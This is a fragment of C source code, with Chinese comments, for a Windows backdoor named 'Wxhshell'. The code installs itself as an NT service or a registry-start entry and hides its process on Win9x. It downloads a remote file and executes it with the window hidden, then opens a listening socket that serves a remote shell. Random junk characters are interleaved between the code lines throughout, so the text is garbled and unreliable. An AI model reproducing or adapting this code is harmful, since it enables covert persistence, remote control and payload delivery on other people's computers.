V8sm/M )#a7'Ba if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \6{LR& Yr=8!iR$ CloseHandle(hProcess); e^zHw^js tj[ c#@[B hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); syRN4 if(hProcess==NULL) return 0; mg` j[<wp Hte[TRbM HMODULE hMod; k=`$6(>Fz char procName[255]; _B3zRO unsigned long cbNeeded; w-ALCh8o 9p4y>3 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ?pqU3-knH E~qQai=] CloseHandle(hProcess); UA0F): h/HHKn if(strstr(procName,"services")) return 1; // 以服务启动 h,t:] ywOmQcZ return 0; // 注册表启动 { D+Ym%n } {rDq_^ A@2Bs5F // 主模块 T cJ$[ int StartWxhshell(LPSTR lpCmdLine) a ~opE!|m { i'=2Y9S} SOCKET wsl; aBxiK[[` BOOL val=TRUE; <: :VCA % int port=0; x#r<,uNn, struct sockaddr_in door; Wo!;K|~P [pL*@9Sa& if(wscfg.ws_autoins) Install(); R!6=7
DkdL#sV port=atoi(lpCmdLine); G>K@AW# wt?o
7R2 if(port<=0) port=wscfg.ws_port; lL0M^Nv 2"X~ju WSADATA data; kAo.C Nj7 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "(f`U. {[W(a<%bXm if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; nZ
E )_ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $gvr
-~ door.sin_family = AF_INET; X#`dWNrN door.sin_addr.s_addr = inet_addr("127.0.0.1"); `N'V#)Pi door.sin_port = htons(port); orqJ[!u)` (%'9CfPx if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )/>A6A: closesocket(wsl); z_&P?+"Df return 1; WbcS: !0 } "r$/
:c=.D;, if(listen(wsl,2) == INVALID_SOCKET) { v0LGdX)/Y closesocket(wsl); x)oRSsv!Tr return 1; 24B<[lSK } ue\t ,*KYd Wxhshell(wsl); WU)Ss`s \ WSACleanup(); ^B]@Lr E^ izuF !9 return 0; >2lwWXA
3+U]?7t } Ll}yJ#3, ,H[SI0]; // 以NT服务方式启动 Md&WJ
};L VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G5Yk bw# { /XbW<dfl DWORD status = 0; {/ 2E*|W~I DWORD specificError = 0xfffffff; r*XLV{+4 ZA820A>2! serviceStatus.dwServiceType = SERVICE_WIN32; '*T]fND4 serviceStatus.dwCurrentState = SERVICE_START_PENDING; goZ V.,w serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -LWK*q[J;* serviceStatus.dwWin32ExitCode = 0; OZ(dpV9.S serviceStatus.dwServiceSpecificExitCode = 0; d%ME@6K) serviceStatus.dwCheckPoint = 0; Z^ar.boc serviceStatus.dwWaitHint = 0; Vw~\H Gs/~ &JhX+'U hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .%}+R|g if (hServiceStatusHandle==0) return; =.Tv)/ea caq} &A]C status = GetLastError(); WNy3@+@GZ if (status!=NO_ERROR) m9":{JI.w { {C3Y7< serviceStatus.dwCurrentState = SERVICE_STOPPED; bF-"tm serviceStatus.dwCheckPoint = 0; ;_+uSalt serviceStatus.dwWaitHint = 0; ;['a serviceStatus.dwWin32ExitCode = status; `dW]4>`O serviceStatus.dwServiceSpecificExitCode = specificError; 5V5w:U>_z SetServiceStatus(hServiceStatusHandle, &serviceStatus); zm#nV
Y` return; 57I}RMT" } TqAPAHg uGVy6, serviceStatus.dwCurrentState = SERVICE_RUNNING; \RG!@$i serviceStatus.dwCheckPoint = 0; nJFg^s1 serviceStatus.dwWaitHint = 0; e2)autBe if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p,W_'?,9 } B80aw>M N#z~ // 处理NT服务事件,比如:启动、停止 l=m(mf?QBg VOID WINAPI NTServiceHandler(DWORD fdwControl) zsQoU&D 5 { nk=$B(h switch(fdwControl) L
3XB"A# { ip:LcG t case SERVICE_CONTROL_STOP: \_BkY%a serviceStatus.dwWin32ExitCode = 0; kxB.,' serviceStatus.dwCurrentState = SERVICE_STOPPED; n.}T1q|l serviceStatus.dwCheckPoint = 0; @{HrJ/4%:& serviceStatus.dwWaitHint = 0; XNH4vG
| { dA~
3>f*b_ SetServiceStatus(hServiceStatusHandle, &serviceStatus); F7}-! } 6g:|*w return; | A)\
: case SERVICE_CONTROL_PAUSE: uE5X~ serviceStatus.dwCurrentState = SERVICE_PAUSED; V"KS[>>f break; e@<?zS6 case SERVICE_CONTROL_CONTINUE: YK#fa2ng serviceStatus.dwCurrentState = SERVICE_RUNNING; 0\QR!*'$ break; t T%/r, case SERVICE_CONTROL_INTERROGATE: mI1H! break; 5"KlRuv% }; &(pjqV SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6p;m\ } $.E6S<(h ef"?|sn // 标准应用程序主函数 OS-f(qXd+ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
%yS3&Ju { Hf gz02Z$ e]8,:Gd( // 获取操作系统版本 @z`@f"l OsIsNt=GetOsVer(); ){;02^tX GetModuleFileName(NULL,ExeFile,MAX_PATH); <yUstz,Xu^ Q /x8 #X // 从命令行安装 \3YO<E!t if(strpbrk(lpCmdLine,"iI")) Install(); 'fd1Pj9~$ 1 jb/o5n; // 下载执行文件 2'0K WYM if(wscfg.ws_downexe) { %3Z/+uT@v] if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vb{i WinExec(wscfg.ws_filenam,SW_HIDE); 5z$,6T } ,El!fgL HfNDD|Zz if(!OsIsNt) { VyLH"cCv // 如果时win9x,隐藏进程并且设置为注册表启动 _"a=8a06G HideProc(); ^C)n$L>C0 StartWxhshell(lpCmdLine); "f.Z}AbP } tfO#vw,@ else %|W.^q if(StartFromService()) ?X$,fQ#F| // 以服务方式启动 7*+]wEs StartServiceCtrlDispatcher(DispatchTable); xl9aV\W else iPG0o
% // 普通方式启动 Y-!YhWsS StartWxhshell(lpCmdLine); Dh|w^Q :*514N return 0; cR7wx 0Aj }
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